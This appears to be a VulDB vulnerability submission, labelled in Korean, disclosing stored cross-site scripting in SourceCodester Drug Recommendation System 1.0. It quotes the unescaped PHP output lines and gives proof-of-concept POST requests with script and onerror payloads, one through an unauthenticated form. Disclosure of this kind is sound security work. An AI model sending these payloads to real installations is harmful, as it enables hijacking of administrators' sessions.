| 제목 | SourceCodester Drug Recommendation System 1.0 Cross Site Scripting |
|---|
| 설명 | A stored cross-site scripting vulnerability exists in SourceCodester Drug Recommendation System 1.0 in Admin/user_record.php and Admin/patient_record.php. User-controlled data (name, email) is stored via Admin/add_user.php or patient.php and rendered without htmlspecialchars() in the admin record tables.
Vulnerable code in Admin/user_record.php:
<td><?php echo $row['name'] ?></td>
<td><?php echo $row['email'] ?></td>
Vulnerable code in Admin/patient_record.php:
<td><?php echo $row['name'] ?></td>
Proof of Concept:
Step 1. POST /Admin/add_user.php with btnadd=1&txtname=<script>alert('XSS')</script>&txtpassword=test123456&cmdrole=Doctor&[email protected] (admin session)
Step 2. GET /Admin/user_record.php fires the stored XSS in the admin browser
Or via patient.php (no authentication required):
POST /patient.php with btnadd=1&txtname=<img src=x onerror=alert(document.cookie)>&[email protected]&txtphone=123&txtdob=2000-01-01&cmdsex=Male
Impact: An attacker can inject persistent JavaScript payloads that execute when an administrator views the records, leading to admin session theft or privilege escalation. Patient registration requires no authentication, so this is triggerable by unauthenticated users. CWE-79, CVSS v3.1 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).
|
|---|
| 원천 | ⚠️ https://www.sourcecodester.com/php/18278/drug-recommender-web-app-student-project.html |
|---|
| 사용자 | swj99557271 (UID 101148) |
|---|
| 제출 | 2026. 09. 10. AM 05:54 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 10. 11. PM 07:11 (1 month later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 416733 [SourceCodester Drug Recommendation System 1.0 Admin Record Tables Admin/user_record.php name/email 크로스 사이트 스크립팅] |
|---|
| 포인트들 | 20 |
|---|